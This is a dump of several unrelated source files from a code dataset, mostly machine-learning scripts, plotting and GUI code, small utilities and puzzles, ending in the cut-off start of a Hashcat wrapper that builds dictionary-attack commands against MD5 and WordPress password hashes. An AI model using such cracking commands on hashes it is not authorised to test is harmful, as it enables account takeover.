y_pred = sigmoid(model)\n dw = (1 / n_samples) * np.dot(X.T, (y_pred - Y)) + (lambda_ / n_samples) * weights\n db = (1 / n_samples) * np.sum(y_pred - Y)\n weights -= lRate * dw\n bias -= lRate * db\n cost = (-1 / n_samples) * (np.dot(Y.T, np.log(y_pred)) + (np.dot((1 - Y.T), np.log(1 - y_pred))))\n reg = np.sum((lambda_ / (2 * n_samples)) * (np.dot(weights, weights.T)))\n cost_value = cost[0][0] + reg\n costs.append(cost_value)\n if abs(prev_cost - cost_value) < tolerance:\n break\n prev_cost = cost_value\n if needPlot:\n plot_gradient_descent_loss(costs, \"Regularized Logistic Regression\")\n return weights, bias\n \n\n\n# In[7]:\n\n\ndef plot_gradient_descent_loss(costs, name):\n plt.figure(2)\n plt.title(name)\n plt.ylabel('Logistic Loss')\n plt.plot(costs, 'r-')\n plt.show()\n\n\n# In[8]:\n\n\ndef z_score_normalize_trainset(data):\n x, y = feature_result_split(data)\n means = np.mean(x, axis=0)\n stds = np.std(x, axis=0)\n X = (x - means) / stds\n return np.concatenate((X, y), axis=1), means, stds\n\n\n# In[9]:\n\n\ndef z_score_normalize_testset(data, means, stds):\n x, y = feature_result_split(data)\n x = (x - means)/stds\n return np.concatenate((x, y), axis=1)\n\n\n# In[10]:\n\n\ndef predict(X, weights, bias):\n linear_model = np.dot(X, weights) + bias\n y_pred = sigmoid(linear_model)\n y_pred_class = [1 if i > 0.5 else 0 for i in y_pred]\n return y_pred_class\n\n\n# In[11]:\n\n\ndef plot_pred(y_true, y_pred, name):\n plt.figure(1)\n plt.title(name)\n plt.xlabel('instances')\n plt.ylabel('result')\n plt.plot(y_true, 'go', label='Actual Value')\n plt.plot(y_pred, 'ro', label='Predict Value')\n plt.legend()\n plt.show()\n\n\n# In[12]:\n\n\ndef accuracy(y, pred_y):\n accuracy = np.sum(y == pred_y) / len(y)\n return accuracy\n\n\n# In[13]:\n\n\ndef score_model(true, pred):\n true = true.astype(int)\n true = np.reshape(true, (1, len(true))).tolist()[0]\n \n k = len(np.unique(true))\n result = np.zeros((k, k))\n for i in range(len(true)):\n result[true[i]][pred[i]] += 1\n precision = result[1][1] / (result[1][1] + result[0][1])\n recall = result[1][1] / (result[1][1] + result[1][0])\n \n return result, precision, recall\n\n\n# In[14]:\n\n\ndef loadSpambaseDataset():\n filename =\"Datasets/spambase.csv\"\n lRate = 0.2\n tolerance = 0.1 * (10 ** (-3))\n max_iters = 300\n lambda_ = 0.9\n return pd.read_csv(filename, header=None), lRate, tolerance, max_iters, lambda_\n\ndef loadDiabetesDataset():\n filename = \"Datasets/diabetes.csv\"\n lRate = 0.3\n tolerance = 0.1 * (10 ** (-4))\n max_iters = 300\n lambda_ = 0.9\n return pd.read_csv(filename, header=None), lRate, tolerance, max_iters, lambda_\n\ndef loadBreastCancerDataset():\n filename = \"Datasets/breastcancer.csv\"\n lRate = 0.3\n tolerance = 0.1 * (10 ** (-2))\n max_iters = 100\n lambda_ = 0.4\n return pd.read_csv(filename, header=None), lRate, tolerance, max_iters, lambda_\n\n\n# In[15]:\n\n\ndef main(dataset):\n if dataset == \"Spambase\":\n df, lRate, tolerance, n_iters, lambda_ = loadSpambaseDataset()\n elif dataset == \"Diabetes\":\n df, lRate, tolerance, n_iters, lambda_ = loadDiabetesDataset()\n elif dataset == \"BreastCancer\":\n df, lRate, tolerance, n_iters, lambda_ = loadBreastCancerDataset()\n else:\n print('Please input correct dataset name.')\n return\n \n train_accuracies = []\n train_precisions = []\n train_recalls = []\n train_confusion_matrix = []\n test_accuracies = []\n test_precisions = []\n test_recalls = []\n test_confusion_matrix = []\n \n rg_train_accuracies = []\n rg_train_precisions = []\n rg_train_recalls = []\n rg_train_confusion_matrix = []\n rg_test_accuracies = []\n rg_test_precisions = []\n rg_test_recalls = []\n rg_test_confusion_matrix = []\n \n # randomly chose a fold to plot gradient descent\n plot = random.randrange(1, 10)\n \n cnt = 1\n for train, test in ten_fold_split(df):\n org_train_data = np.take(df, train, 0).to_numpy()\n org_test_data = np.take(df, test, 0).to_numpy()\n # fit model\n scaled_train_data, scaled_mean, scaled_stds = z_score_normalize_trainset(org_train_data)\n train_X, train_Y = feature_result_split(scaled_train_data)\n weights, bias = fit_gradient_descent(train_X, train_Y, lRate, tolerance, n_iters, plot == cnt)\n \n # get train data accuracy, precision and recall of normal logistic regression\n train_pred = predict(train_X, weights, bias)\n train_accuracies.append(accuracy(train_pred, train_Y.T))\n t_conf_matrix, t_precision, t_recall = score_model(train_Y, train_pred)\n train_confusion_matrix.append(t_conf_matrix)\n train_precisions.append(t_precision)\n train_recalls.append(t_recall)\n \n # scale test data\n scaled_test_data = z_score_normalize_testset(org_test_data, scaled_mean, scaled_stds)\n test_X, test_Y = feature_result_split(scaled_test_data)\n \n # get test data accuracy, precision and recall of normal logistic regression\n pred_test_y = predict(test_X, weights, bias)\n test_accuracies.append(accuracy(pred_test_y, test_Y.T))\n conf_matrix, precision, recall = score_model(test_Y, pred_test_y)\n test_confusion_matrix.append(conf_matrix)\n test_precisions.append(precision)\n test_recalls.append(recall)\n \n # train regularized logistic regression\n rg_weights, rg_bias = fit_regularized_gd(train_X, train_Y, lRate, tolerance, n_iters, plot == cnt, lambda_)\n \n # get train data accuracy, precision and recall of regularized logistic regression\n rg_train_pred = predict(train_X, rg_weights, rg_bias)\n rg_train_accuracies.append(accuracy(rg_train_pred, train_Y.T))\n rg_t_conf_matrix, rg_t_precision, rg_t_recall = score_model(train_Y, rg_train_pred)\n rg_train_confusion_matrix.append(rg_t_conf_matrix)\n rg_train_precisions.append(rg_t_precision)\n rg_train_recalls.append(rg_t_recall)\n \n # get test data accuracy, precision and recall of regularized logistic regression\n rg_pred_test_y = predict(test_X, rg_weights, rg_bias)\n rg_test_accuracies.append(accuracy(rg_pred_test_y, test_Y.T))\n rg_conf_matrix, rg_precision, rg_recall = score_model(test_Y, rg_pred_test_y)\n rg_test_confusion_matrix.append(rg_conf_matrix)\n rg_test_precisions.append(rg_precision)\n rg_test_recalls.append(rg_recall)\n \n if plot == cnt:\n plot_pred(test_Y, pred_test_y, \"Logistic Regression\")\n plot_pred(test_Y, rg_pred_test_y, \"Regularized Logistic Regression\")\n cnt += 1\n# conf_m = confusion_matrix[0]\n# for i in range(1, 10):\n# conf_m += confusion_matrix[i]\n \n# print('Confusion Matrix:\\n', conf_m / 10)\n print('Normal Logistic Regression')\n print('Training Data:')\n print('Average accuracy: ', np.mean(train_accuracies), '\\tStandard deviation:', np.std(train_accuracies))\n print('Average precision: ', np.mean(train_precisions), '\\tStandard deviation:', np.std(train_precisions)) \n print('Average recall: ', np.mean(train_recalls), '\\tStandard deviation:', np.std(train_recalls))\n print('\\nTest Data:')\n print('Average accuracy: ', np.mean(test_accuracies), '\\tStandard deviation:', np.std(test_accuracies))\n print('Average precision: ', np.mean(test_precisions), '\\tStandard deviation:', np.std(test_precisions)) \n print('Average recall: ', np.mean(test_recalls), '\\tStandard deviation:', np.std(test_recalls))\n \n print('\\nRegularized Logistic Regression')\n print('Training Data:')\n print('Average accuracy: ', np.mean(rg_train_accuracies), '\\tStandard deviation:', np.std(rg_train_accuracies))\n print('Average precision: ', np.mean(rg_train_precisions), '\\tStandard deviation:', np.std(rg_train_precisions)) \n print('Average recall: ', np.mean(rg_train_recalls), '\\tStandard deviation:', np.std(rg_train_recalls))\n print('\\nTest Data:')\n print('Average accuracy: ', np.mean(rg_test_accuracies), '\\tStandard deviation:', np.std(rg_test_accuracies))\n print('Average precision: ', np.mean(rg_test_precisions), '\\tStandard deviation:', np.std(rg_test_precisions)) \n print('Average recall: ', np.mean(rg_test_recalls), '\\tStandard deviation:', np.std(rg_test_recalls))\n\n\n# In[35]:\n\n\nimport sys\nif __name__ == '__main__':\n dataset = sys.argv[1]\n main(dataset)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"LogisticRegression:NaiveBayesClassifier/RegularizedLogisticRegression.py","file_name":"RegularizedLogisticRegression.py","file_ext":"py","file_size_in_byte":11107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"130063900","text":"import matplotlib\nmatplotlib.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport subprocess\n\nsubprocess.call([\"build/bin/main.out\", \"config.txt\"])\n\nrho_mesh = np.load(\"rho_m.npy\")\nvel_mesh = np.load(\"vel_m.npy\")\nobstacle_map = np.load(\"obstacle_map.npy\")\n\nabs_vel_mesh = np.sqrt(vel_mesh[:,:,0]*vel_mesh[:,:,0] + vel_mesh[:,:,1]*vel_mesh[:,:,1])\nplt.imshow(abs_vel_mesh.transpose())\n#plt.show()\n\nnx = rho_mesh.shape[0]\nny = rho_mesh.shape[1]\n\nX, Y = np.meshgrid(np.linspace(0,nx-1,nx),np.linspace(0,ny-1,ny))\n\nplt.streamplot(X,Y,np.ma.array(vel_mesh[:,:,0].transpose(),mask=obstacle_map.transpose()),vel_mesh[:,:,1].transpose(), density=3)\n\nplt.imshow(~obstacle_map.transpose(), alpha=0.5,\n interpolation='nearest', cmap='gray', aspect='auto')\nplt.show()\n","sub_path":"simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"119182190","text":"from tkinter import *\nimport random\n\ndef changeDayNight(self):\n date = dayNightVar.get()\n if date == 1:\n dayNightScale.config(bg=\"blue\")\n dayNightScale.config(troughcolor=\"blue\")\n root.config(bg=\"blue\")\n else:\n dayNightScale.config(bg=\"yellow\")\n dayNightScale.config(troughcolor=\"yellow\")\n root.config(bg=\"yellow\")\n dayNightVar.set(date)\n \n\n#MAIN\n#HOlding frames\n#########\nroot = Tk()\nmainframe = Frame(root)\n\n#Widgets\n#########\n\ndayNightVar = IntVar()\ndayNightScale = Scale(mainframe, variable=dayNightVar, width=50, length=100, from_=1, to=2, showvalue=False, orient=HORIZONTAL,bg=\"blue\",command=changeDayNight)\n\n\n#GRID THE WIDGETS\n###########\nroot.minsize(width=300, height=200)\nmainframe.grid(row=1, column=1, padx=100, pady=100)\n\n\ndayNightScale.grid(row=1, column=1)\n\n\nroot.mainloop()\n\n","sub_path":"gui day 6 question 2.py","file_name":"gui day 6 question 2.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"314547683","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 5 01:02:27 2018\n\n@author: jblon\n\"\"\"\n\nfrom PyQt5 import QtWidgets\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as Canvas\nimport matplotlib\n\nmatplotlib.use('QT5Agg')\n\n\nclass MplCanvas(Canvas):\n def __init__(self):\n self.fig = Figure()\n self.ax = self.fig.add_subplot(111)\n Canvas.__init__(self, self.fig)\n Canvas.setSizePolicy(self,\n QtWidgets.QSizePolicy.Expanding,\n QtWidgets.QSizePolicy.Expanding)\n Canvas.updateGeometry(self)\n\n\nclass MplWidget(QtWidgets.QWidget):\n def __init__(self, parent=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.canvas = MplCanvas()\n self.vbl = QtWidgets.QVBoxLayout()\n self.vbl.addWidget(self.canvas)\n self.setLayout(self.vbl)\n","sub_path":"Python/mplwidget.py","file_name":"mplwidget.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"485093841","text":"# -*- coding: utf-8 -*-\n\"\"\"\n管理应用程序全局设置、变量、任务、生命期及全局消息响应。\n\"\"\"\n\nimport asyncio\nimport logging\n\nfrom apscheduler.schedulers.asyncio import AsyncIOScheduler\nfrom tornado import ioloop, web\nfrom tornado.options import define, options, parse_command_line\n\nfrom tea import Tea\n\ndefine(\"port\", default=7080, help=\"run on the given port\", type=int)\ndefine(\"server-role\", default='stock')\ndefine(\"config\", default=None, help=\"tornado config file\")\ndefine(\"debug\", default=True, help=\"debug mode\")\nparse_command_line()\n\nlogger = logging.getLogger(__name__)\n\n\nclass Application(web.Application):\n def __init__(self):\n self.main_loop = asyncio.get_event_loop()\n\n async def init(self):\n\n handlers = [\n (r\"/ws/extension/tea\", Tea),\n ]\n settings = dict(\n debug=options.debug,\n )\n web.Application.__init__(self, handlers, **settings)\n\n\ndef main():\n app = Application()\n asyncio.get_event_loop().run_until_complete(app.init())\n app.listen(address=\"0.0.0.0\", port=options.port)\n\n # patch the loop driver\n # if platform.system() in \"Linux\":\n # import uvloop\n # asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\n\n logger.info(\"stock server started at %s\", options.port)\n ioloop.IOLoop.instance().start()\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"35337402","text":"import argparse\n\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nimport torch.nn.functional as func\nimport torch.utils.data\n\nimport dataset\nfrom misc import *\nfrom model import AlexNet\n\n# ===========================================================\n# Metadata & hyper-parameter setting up\n# ===========================================================\nsys.path.insert(0, 'data/')\nEPOCHS = 5\nBATCH_SIZE = 8\nGPU_IN_USE = torch.cuda.is_available()\nself_device = torch.device('cuda' if GPU_IN_USE else 'cpu')\n\n\n# ===========================================================\n# arguments setting up\n# ===========================================================\nparser = argparse.ArgumentParser(description='PyTorch practice CNN')\nparser.add_argument('--epochs', type=int, default=EPOCHS)\nparser.add_argument('--lr', type=int, default=0.01) # learning rate\nparser.add_argument('--bs', type=int, default=BATCH_SIZE)\nargs = parser.parse_args()\n\n\n# ===========================================================\n# model setting up\n# ===========================================================\nbaseline_model = AlexNet()\ntransfer_model = AlexNet()\ntransfer_model.load_state_dict(torch.load('./pretrained.model'))\n\nmodel = transfer_model\nmodel.last_connect = nn.Linear(256, 5)\nmodel = model.to(self_device)\noptimizer = torch.optim.Adam(model.parameters(), lr=args.lr)\ncriterion = func.binary_cross_entropy\ncudnn.benchmark = GPU_IN_USE\n\n\ndef train(data_in, target_in):\n accuracy_list = list()\n loss_list = list()\n\n model.train()\n num_batches = data_in.shape[0] // args.bs\n\n for i in range(num_batches):\n data = data_in[args.bs * i:args.bs * (i + 1)].to(self_device)\n target = target_in[args.bs * i:args.bs * (i + 1)].to(self_device)\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n acc = accuracy(output.data, target.data)\n\n loss_list.append(loss.item())\n accuracy_list.append(acc)\n\n progress_bar(i, num_batches, 'Loss : {:.4f} | Acc: {:.4f}'.format(loss.item(), acc))\n\n return accuracy_list, loss_list\n\n\ndef test(data_in, target_in):\n accuracy_list = list()\n loss_list = list()\n\n model.eval()\n num_batches = data_in.shape[0] // args.bs\n\n with torch.no_grad():\n for i in range(num_batches):\n data = data_in[args.bs * i:args.bs * (i + 1)].to(self_device)\n target = target_in[args.bs * i:args.bs * (i + 1)].to(self_device)\n output = model(data)\n\n test_loss = criterion(output, target).item()\n acc = accuracy(output.data, target.data)\n loss_list.append(test_loss)\n accuracy_list.append(acc)\n\n progress_bar(i, num_batches, 'Loss : {:.4f} | Acc: {:.4f}'.format(test_loss, acc))\n\n return accuracy_list, loss_list\n\n\ndef accuracy(prediction, target):\n diff = np.sum(prediction.cpu().numpy() == target.cpu().numpy())\n diff /= len(target) * 5\n return diff\n\n\ndef save_model(epoch):\n if not os.path.exists('./models'):\n os.makedirs('./models')\n\n if (epoch + 1) % 100 == 0:\n torch.save(model, './models/epoch-{}.model'.format(epoch + 1))\n\n\ndef validate(epoch):\n data, target = dataset.retrieve_data()\n print(\"data array length : %d\" % data.shape[0])\n print(\"log array length : %d\" % target.shape[0])\n size_fold = data.shape[0] // 5\n\n to_torch = torch.from_numpy\n\n for i in range(epoch):\n print(\"\\n===> epoch: %d/%d\" % (i + 1, epoch))\n\n # prepare the data\n x_train_temp = to_torch(np.concatenate((data[:(i % 5) * size_fold], data[((i % 5) + 1) * size_fold:]), axis=0)).float()\n x_test_temp = to_torch(data[(i % 5) * size_fold: ((i % 5) + 1) * size_fold]).float()\n y_train_temp = to_torch(np.concatenate((target[:(i % 5) * size_fold], target[((i % 5) + 1) * size_fold:]), axis=0)).float()\n y_test_temp = to_torch(target[(i % 5) * size_fold: ((i % 5) + 1) * size_fold]).float()\n\n # train and test\n train_acc, train_loss = train(x_train_temp, y_train_temp)\n test_acc, test_loss = test(x_test_temp, y_test_temp)\n\n save_log(train_acc, train_loss, test_acc, test_loss)\n save_model(i) # save the model on certain iterations\n\n\ndef save_log(train_acc, train_loss, test_acc, test_loss):\n train_info = {'Train Accuracy': train_acc, 'Train Loss': train_loss}\n test_info = {'Test Accuracy': test_acc, 'Test Loss': test_loss}\n record_info(train_info, './train.csv', mode='train')\n record_info(test_info, './test.csv', mode='test')\n\n\nif __name__ == '__main__':\n validate(args.epochs)\n","sub_path":"amendment/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"93046202","text":"from __future__ import division, print_function\nimport numpy as np\nfrom sklearn import datasets, svm\nfrom sklearn.cross_validation import train_test_split\nimport matplotlib.pyplot as plt\n\niris = datasets.load_iris()\nX = iris.data[:,:2]\ny = iris.target\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=42)\n\ndef evaluate_on_test_data(model=None):\n\tpredictions = model.predict(X_test)\n\tcorrect_classifications = 0\n\tfor i in range(len(y_test)):\n\t\tif predictions[i] == y_test[i]:\n\t\t\tcorrect_classifications += 1\n\taccuracy = 100*correct_classifications/len(y_test) #Accuracy as a percentage\n\treturn accuracy\n\nkernels = ['linear','poly','rbf']\naccuracies = []\nfor kernel in kernels:\n\tmodel = svm.SVC(kernel=kernel)\n\tmodel.fit(X_train, y_train)\n\tacc = evaluate_on_test_data(model)\n\taccuracies.append(acc)\n\tprint(\"{} % accuracy obtained with kernel = {}\".format(acc, kernel))\n\n#Train SVMs with different kernels\nsvc = svm.SVC(kernel='linear').fit(X_train, y_train)\nrbf_svc = svm.SVC(kernel='rbf', gamma=0.7).fit(X_train, y_train)\npoly_svc = svm.SVC(kernel='poly', degree=3).fit(X_train, y_train)\n#Create a mesh to plot in\nh = .02 # step size in the mesh\nx_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\ny_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\nxx, yy = np.meshgrid(np.arange(x_min, x_max, h),np.arange(y_min, y_max, h))\n#Define title for the plots\ntitles = ['SVC with linear kernel','SVC with RBF kernel','SVC with polynomial (degree 3) kernel']\nfor i,clf in enumerate((svc, rbf_svc, poly_svc)):\n\t# Plot the decision boundary. For that, we will assign a color to each\n\t# point in the mesh [x_min, m_max]x[y_min, y_max].\n\tplt.figure(i)\n\tZ = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n\t# Put the result into a color plot\n\tZ = Z.reshape(xx.shape)\n\tplt.contourf(xx, yy, Z, cmap=plt.cm.Paired, alpha=0.8)\n\t# plt.pcolormesh(xx,yy,Z,cmap=plt.cm.Paired)\n\t# Plot also the training points\n\tplt.scatter(np.array(X[:, 0]), np.array(X[:, 1]), c=y, cmap=plt.cm.ocean)\n\tplt.xlabel('Sepal length')\n\tplt.ylabel('Sepal width')\n\tplt.xlim(xx.min(), xx.max())\n\tplt.ylim(yy.min(), yy.max())\n\tplt.xticks(())\n\tplt.yticks(())\n\tplt.title(titles[i])\n\tplt.show()\n\nfor clf in (svc, rbf_svc, poly_svc):\n\tprint(\"The support vectors for are:\\n\", clf.support_vectors_)\n\tprint(\"The no. of support vectors = {}\".format(len(clf.support_vectors_)))\n\n","sub_path":"5_1.py","file_name":"5_1.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"6710344","text":"\"\"\"\nCopyright 2020 Christos Diou\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport logging\nimport matplotlib.pyplot as plt\nfrom eeris_nilm import evaluation\n# from eeris_nilm import evaluation\n\nlogging.basicConfig(level=logging.DEBUG)\n\n# Load data\nredd_path = 'tests/data/'\nappliances, eval_g, eval_est, jaccard, rmse = \\\n evaluation.hart_redd_evaluation(redd_path, house='house_1',\n date_start='2011-04-18T00:00',\n date_end='2011-04-19T23:59',\n step=None)\nfor name, g in appliances.items():\n print(\"Appliance %s\" % (name))\n plt.plot(eval_g[g], 'r')\n plt.plot(eval_est[g], 'c')\n plt.grid()\n plt.show()\n","sub_path":"tests/demo_evaluation.py","file_name":"demo_evaluation.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"200272288","text":"import os\nimport shutil\nimport tempfile\n\nfrom partridge.config import (\n default_config,\n extract_agencies_config,\n extract_routes_config,\n)\nfrom partridge.gtfs import feed as mkfeed\n\n\nDEFAULT_NODES = frozenset(default_config().nodes())\n\n\ndef extract_agencies(inpath, outpath, agency_ids):\n config = extract_agencies_config()\n view = {'agency.txt': {'agency_id': agency_ids}}\n feed = mkfeed(inpath, config, view)\n return write_feed_dangerously(feed, outpath)\n\n\ndef extract_routes(inpath, outpath, route_ids):\n config = extract_routes_config()\n view = {'trips.txt': {'route_id': route_ids}}\n feed = mkfeed(inpath, config, view)\n return write_feed_dangerously(feed, outpath)\n\n\ndef write_feed_dangerously(feed, outpath, nodes=None):\n \"\"\"\n Naively write a feed to a zipfile\n\n This function provides no sanity checks. Use it at\n your own risk.\n \"\"\"\n nodes = DEFAULT_NODES if nodes is None else nodes\n try:\n tmpdir = tempfile.mkdtemp()\n\n for node in nodes:\n df = feed.get(node)\n if not df.empty:\n path = os.path.join(tmpdir, node)\n df.to_csv(path, index=False)\n\n if outpath.endswith('.zip'):\n outpath, _ = os.path.splitext(outpath)\n\n outpath = shutil.make_archive(outpath, 'zip', tmpdir)\n finally:\n shutil.rmtree(tmpdir)\n\n return outpath\n","sub_path":"partridge/writers.py","file_name":"writers.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"29110816","text":"from django import forms\nfrom django.forms import widgets\nfrom django.contrib.admin import widgets\nfrom django.forms import extras\nfrom .models import *\n\n#form para fechas\nclass Form_Busqueda_Fechas(forms.ModelForm):\n fechafinal_precio=forms.CharField(widget=forms.DateInput(attrs={'class': 'datepicker'}),initial=timezone.now())\n class Meta:\n model=Precio\n exclude=('nombre_precio',)\n widgets = {\n 'fechainicial_precio': forms.DateInput(attrs={'class': 'datepicker'}),\n 'fechafinal_precio': forms.DateInput(attrs={'class': 'datepicker'})\n }\nclass Form_Busqueda_Vendedor(forms.ModelForm):\n class Meta:\n model=Venta\n fields=('empleado_idempleado',)\n\nclass Form_Busqueda_Checbox(forms.Form):\n checkbo=forms.BooleanField(required=False)\n","sub_path":"kadoshapp/formReporteVentas.py","file_name":"formReporteVentas.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"542867931","text":"import asyncio\n\nfrom piccolo.engine.finder import engine_finder\n\nENGINE = engine_finder()\n\n\nasync def drop_tables():\n for table in [\n \"ticket\",\n \"concert\",\n \"venue\",\n \"band\",\n \"manager\",\n \"poster\",\n \"migration\",\n \"musician\",\n \"my_table\",\n \"recording_studio\",\n \"shirt\",\n \"mega_table\",\n \"small_table\",\n ]:\n await ENGINE._run_in_new_connection(f\"DROP TABLE IF EXISTS {table}\")\n\n\ndef pytest_sessionstart(session):\n \"\"\"\n Make sure all the tables have been dropped.\n\n https://docs.pytest.org/en/latest/reference.html#_pytest.hookspec.pytest_configure\n \"\"\"\n print(\"Session starting\")\n asyncio.run(drop_tables())\n\n\ndef pytest_sessionfinish(session, exitstatus):\n \"\"\"\n https://docs.pytest.org/en/latest/reference.html#_pytest.hookspec.pytest_sessionfinish\n \"\"\"\n print(\"Session finishing\")\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"722067","text":"from datetime import datetime\n\nimport matplotlib.dates as mdates\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom pymongo import MongoClient\n\nclient = MongoClient('localhost', 27017)\ndb = client['stock']\n\nyears = mdates.YearLocator() # every year\nmonths = mdates.MonthLocator() # every month\nyearsFmt = mdates.DateFormatter('%Y')\n\n\ndef compute(code):\n print(code)\n mongo = db.instrumentDailyData.find({'code': code})\n data = list(mongo)\n\n df = pd.DataFrame(data)\n if not df.empty:\n x = range(len(df))\n ax = plt.subplot()\n ax.plot(df.date, df.close)\n\n return plt\n\n\ncompute('603999').show()\n","sub_path":"strategies/buyAndHold.py","file_name":"buyAndHold.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"10224264","text":"import cPickle, gzip\nfrom numpy import savetxt, loadtxt\nfrom pandas import DataFrame\n\ndef bigsave(df,fname):\n if fname[-3:]=='.gz':\n fname = fname[-3:]\n savetxt(fname+'.values.gz',df.values)\n cPickle.dump(df.index,gzip.open(fname+'.index.gz','wb'))\n cPickle.dump(df.columns,gzip.open(fname+'.columns.gz','wb'))\n cPickle.dump(df.dtypes,gzip.open(fname+'.dtypes.gz','wb'))\n\ndef bigload(fname):\n if fname[-3:]=='.gz':\n fname = fname[-3:]\n df = DataFrame(data=loadtxt(fname+'.values.gz'),\n index=cPickle.load(gzip.open(fname+'.index.gz','rb')),\n columns=cPickle.load(gzip.open(fname+'.columns.gz','rb')),\n dtype=cPickle.load(gzip.open(fname+'.dtypes.gz','rb')))\n return df\n","sub_path":"big_dataframe.py","file_name":"big_dataframe.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"77303382","text":"class Solution(object):\n def fourSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n d = dict()\n for i in range(len(nums)):\n for j in range(i + 1, len(nums)):\n sum1 = nums[i] + nums[j]\n if sum1 in d:\n d[sum1].append((i, j))\n else:\n d[sum1] = [(i, j)]\n ans = set()\n for key in d:\n value = target - key\n if value in d:\n list1 = d[key]\n list2 = d[value]\n for (i, j) in list1:\n for (k, l) in list2:\n if i != k and i != l and j != k and j != l:\n tmp = [nums[i], nums[j], nums[k], nums[l]]\n tmp.sort()\n ans.add(tuple(tmp))\n return list(ans)\n\n\nsolution = Solution()\nprint(solution.fourSum([1, 0, -1, 0, -2, 2], 0))\n","sub_path":"4Sum_18.py","file_name":"4Sum_18.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"628155393","text":"\"\"\"\nTask 2\n\nIf I remember correctly, the problem asked for an O(nlogn) solution which turned\nout to be a generous hint to sort the input list.\n\nThere is an O(n) solution which I describe below, leaving unimplemented. Iterate\nthrough the list ensuring that A[i] <= A[i+1] making sure not to fall off the end.\nIf there is an index i such that A[i] > A[i+1], then search for the smallest\nelement of A with index j > i. Swap A[i] and A[j]. Iterate through A a second and\nfinal time.\n\"\"\"\n\n\ndef solution(A):\n \"\"\"\n Return boolean depending on whether non-empty list A can be put into non-decreasing\n order by a single swap of two of its elements (indices can be the same).\n\n >>> solution([1, 5, 3, 3, 7])\n True\n >>> solution([1, 3, 5, 3, 4])\n False\n >>> solution([1, 3, 5])\n True\n >>> solution([42, 1, 3, 5, 7, 9])\n False\n >>> solution([11, 3, 5, 7, 2])\n True\n >>> solution([8, 2])\n True\n >>> solution([3])\n True\n >>> solution([-2, -32])\n True\n >>> solution([2, 2, 2, 2, 2])\n True\n\n The size of A is no larger than 100 and each element of A is an int within the\n range [1, 10**9].\n \"\"\"\n B = sorted(A) # sort A (default is ascending) to compare with itself element-wise\n count = 0\n for a, b in zip(A, B):\n if a != b:\n count += 1\n if count > 2: # return as soon as more than two swaps are found\n return False\n return True\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"270558364","text":"import os\n\nfrom Statics import Colors as C, INTRO_TEXT\n\n\nHASHCAT_BASE_COMMAND = \"hashcat -a 0 -m {type} {hash} {wordlist} --force\"\n\nprint(C.PURPLE, INTRO_TEXT, C.RESET, sep='')\n\nprint(\"--------------------------\")\nprint(\"---------Unsalted---------\")\nprint(\"-----Hash Cat Utility-----\")\nprint(\"--------------------------\")\noptions = [\n {\n \"name\": \"MD5\",\n \"hashType\": 0\n },\n {\n \"name\": \"phpass/WordPress MD5\",\n \"hashType\": 